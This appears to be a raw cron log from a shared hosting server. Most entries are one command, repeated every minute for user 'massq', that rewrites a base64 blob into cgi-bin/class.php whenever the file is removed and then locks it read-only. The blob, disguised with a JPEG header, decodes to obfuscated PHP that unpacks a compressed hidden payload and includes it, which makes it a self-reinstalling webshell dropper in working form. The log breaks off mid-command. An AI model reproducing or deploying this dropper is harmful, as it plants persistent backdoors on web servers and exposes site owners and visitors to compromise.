Apr  8 06:48:01 server CROND[19298]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:49:01 server CROND[19450]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:50:01 server CROND[19508]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 06:50:01 server CROND[19510]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 06:50:01 server CROND[19507]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:50:01 server CROND[19509]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 06:50:01 server CROND[19511]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 06:51:01 server CROND[19629]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:52:01 server CROND[19693]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:53:01 server CROND[19756]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:54:02 server CROND[19910]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:55:01 server CROND[19970]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 06:55:01 server CROND[19971]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 06:55:01 server CROND[19972]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:56:01 server CROND[20079]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:57:01 server CROND[20147]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:57:01 server CROND[20148]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 06:58:01 server CROND[20207]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:59:01 server CROND[20266]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:00:01 server CROND[20416]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 07:00:01 server CROND[20417]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 07:00:01 server CROND[20418]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 07:00:01 server CROND[20420]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:01:01 server CROND[20540]: (root) CMD (run-parts /etc/cron.hourly)
Apr  8 07:01:01 server CROND[20541]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkd